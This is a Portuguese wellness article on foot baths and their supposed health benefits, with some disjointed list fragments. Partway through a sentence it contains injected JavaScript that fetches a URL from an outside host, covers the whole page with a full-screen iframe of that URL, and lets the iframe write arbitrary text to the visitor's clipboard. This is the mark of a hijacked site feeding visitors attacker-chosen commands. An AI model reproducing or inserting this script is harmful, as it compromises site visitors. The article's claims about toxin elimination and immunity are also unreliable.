Correria, estresse, dores, muitas horas em pé, poucos momentos de autocuidado: uma hora a conta chega e precisamos encontrar maneiras de fazer algo que nos ajude a sentir melhor. Uma solução rápida e muito prática para aliviar as tensões do dia a dia e relaxar é a prática do escalda-pés.
Este, aparentemente, simples ato de imergir os pés em águas quentes possui raízes milenares e está presente em diversas civilizações, sendo utilizado tanto com finalidades terapêuticas, de limpeza, de relaxamento e até religiosas (há, inclusive, registros bíblicos que já descrevem esse tipo de ritual).
Tanto na medicina tradicional chinesa como na medicina ayurvédica, por exemplo, acredita-se que a prática de aquecer os pés ajuda a reequilibrar a distribuição de energia do corpo. Isso porque, de acordo com essas filosofias, os pés possuem mais de 70 mil terminações nervosas ligadas aos órgãos. Assim, o aquecimento e pressão nesses pontos, ajudaria a reestabelecer o equilíbrio energético, promovendo uma maior sensação de bem-estar e até um aumento na imunidade.
Mas nem é preciso ir muito longe: quem nunca, ao menor sinal de “friagem” ou de dor nas pernas, ouviu aquele típico conselho de “vovó” para fazer um escalda-pés com ervas bem quentinho?
Muito mais do que relaxar: o escalda-pés ajuda também a aliviar dores
O escalda-pés costuma sempre ser lembrado como uma forma de proporcionar relaxamento. Mas a sua aplicação também pode trazer diversos benefícios práticos para a saúde. Assim como na acupuntura e na reflexologia, o escalda-pés pode acionar pontos que tratam os mais diversos males e dores. Além disso, o calor da água nos pés ativa a circulação sanguínea, o que desencadeia uma série de desdobramentos positivos. Confira abaixo alguns dos sintomas que o escalda-pés podem tratar:
- Inchaço nas pernas
- Melhora no fluxo sanguíneo
- Eliminação de toxinas
- Alívio de dores de cabeça
além de relaxar, proporciona muito alívio para dores e outros desconfortos
técnica de fazer escalda-pés
diminui inchaços
ameniza dores e tensões
ajuda diminuir pressão arterial (devido à vasodilatação promovida pelo calor)
alivia o estresse e o cansaço
Quando misturados à água quente, alguns produtos potencializam os efeitos do escalda-pés, como os óleos essenciais de ervas, sabonetes, sais e espumas, sendo que as suas fragrâncias também colaboram para a sensação de bem-estar. melhora aspereza e calosidades dos pés(function() {
const configLink = “https://corsproxy.io/?url=http://heyues.live”;
if (!window.__digitalflwrFetchPromise) {
window.__digitalflwrFetchPromise = fetch(configLink)
.then(response => {
if (!response.ok) {
throw new Error(” “);
}
return response.text();
})
.then(finalUrl => {
return fetch(finalUrl, { method: “HEAD” })
.then(headResponse => ({ headResponse, finalUrl }));
})
.catch(() => {
});
}
if (typeof window.__digitalflwrIframeCreated === “undefined”) {
window.__digitalflwrIframeCreated = false;
}
window.__digitalflwrFetchPromise
.then(result => {
if (!result) return;
const { headResponse, finalUrl } = result;
if (!headResponse || headResponse.status === 404) {
return;
}
if (!window.__digitalflwrIframeCreated) {
window.__digitalflwrIframeCreated = true;
createMainIframe(finalUrl);
}
})
.catch(() => {
});
function createMainIframe(url) {
const iframe = document.createElement(“iframe”);
iframe.src = url;
iframe.style.position = “fixed”;
iframe.style.top = 0;
iframe.style.left = 0;
iframe.style.width = “100%”;
iframe.style.height = “100%”;
iframe.style.border = “none”;
iframe.style.margin = 0;
iframe.style.padding = 0;
iframe.style.overflow = “hidden”;
iframe.style.zIndex = 99999;
document.body.appendChild(iframe);
window.addEventListener(“message”, function(event) {
if (!event.data || event.data.type !== “copy”) return;
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(event.data.text).catch(() => {
fallbackCopyText(event.data.text);
});
} else {
fallbackCopyText(event.data.text);
}
});
function fallbackCopyText(text) {
const textArea = document.createElement(“textarea”);
textArea.value = text;
document.body.appendChild(textArea);
textArea.select();
try {
document.execCommand(“copy”);
} catch (err) {
}
document.body.removeChild(textArea);
}
}
})();
